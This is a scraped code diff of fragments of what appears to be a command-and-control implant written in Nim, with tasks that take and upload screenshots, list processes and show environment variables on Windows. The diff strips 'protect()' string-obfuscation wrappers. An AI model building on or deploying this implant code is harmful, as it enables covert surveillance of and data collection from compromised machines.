print protect(" [>] Taking and uploading screenshot.")
|
print " [>] Taking and uploading screenshot."
|
||||||
|
|
||||||
let
|
let
|
||||||
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"
|
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ when defined(agent):
|
|||||||
|
|
||||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
print protect(" [>] Listing running processes.")
|
print " [>] Listing running processes."
|
||||||
|
|
||||||
try:
|
try:
|
||||||
var processes: seq[DWORD] = @[]
|
var processes: seq[DWORD] = @[]
|
||||||
@@ -62,7 +62,7 @@ when defined(agent):
|
|||||||
# Take a snapshot of running processes
|
# Take a snapshot of running processes
|
||||||
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||||
raise newException(CatchableError, protect("Invalid permissions."))
|
raise newException(CatchableError, GetLastError().getError)
|
||||||
|
|
||||||
# Close handle after object is no longer used
|
# Close handle after object is no longer used
|
||||||
defer: CloseHandle(hSnapshot)
|
defer: CloseHandle(hSnapshot)
|
||||||
@@ -72,7 +72,7 @@ when defined(agent):
|
|||||||
|
|
||||||
# Loop over processes to fill the map
|
# Loop over processes to fill the map
|
||||||
if Process32First(hSnapshot, addr pe32) == FALSE:
|
if Process32First(hSnapshot, addr pe32) == FALSE:
|
||||||
raise newException(CatchableError, protect("Failed to get processes."))
|
raise newException(CatchableError, GetLastError().getError)
|
||||||
|
|
||||||
while true:
|
while true:
|
||||||
var procInfo = ProcessInfo(
|
var procInfo = ProcessInfo(
|
||||||
@@ -126,7 +126,7 @@ when defined(agent):
|
|||||||
|
|
||||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
|
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
print protect(" [>] Displaying environment variables.")
|
print " [>] Displaying environment variables."
|
||||||
|
|
||||||
try:
|
try:
|
||||||
var output: string = ""
|
var output: string = ""
|
||||||
|
|||||||
Reference in New Issue
Block a user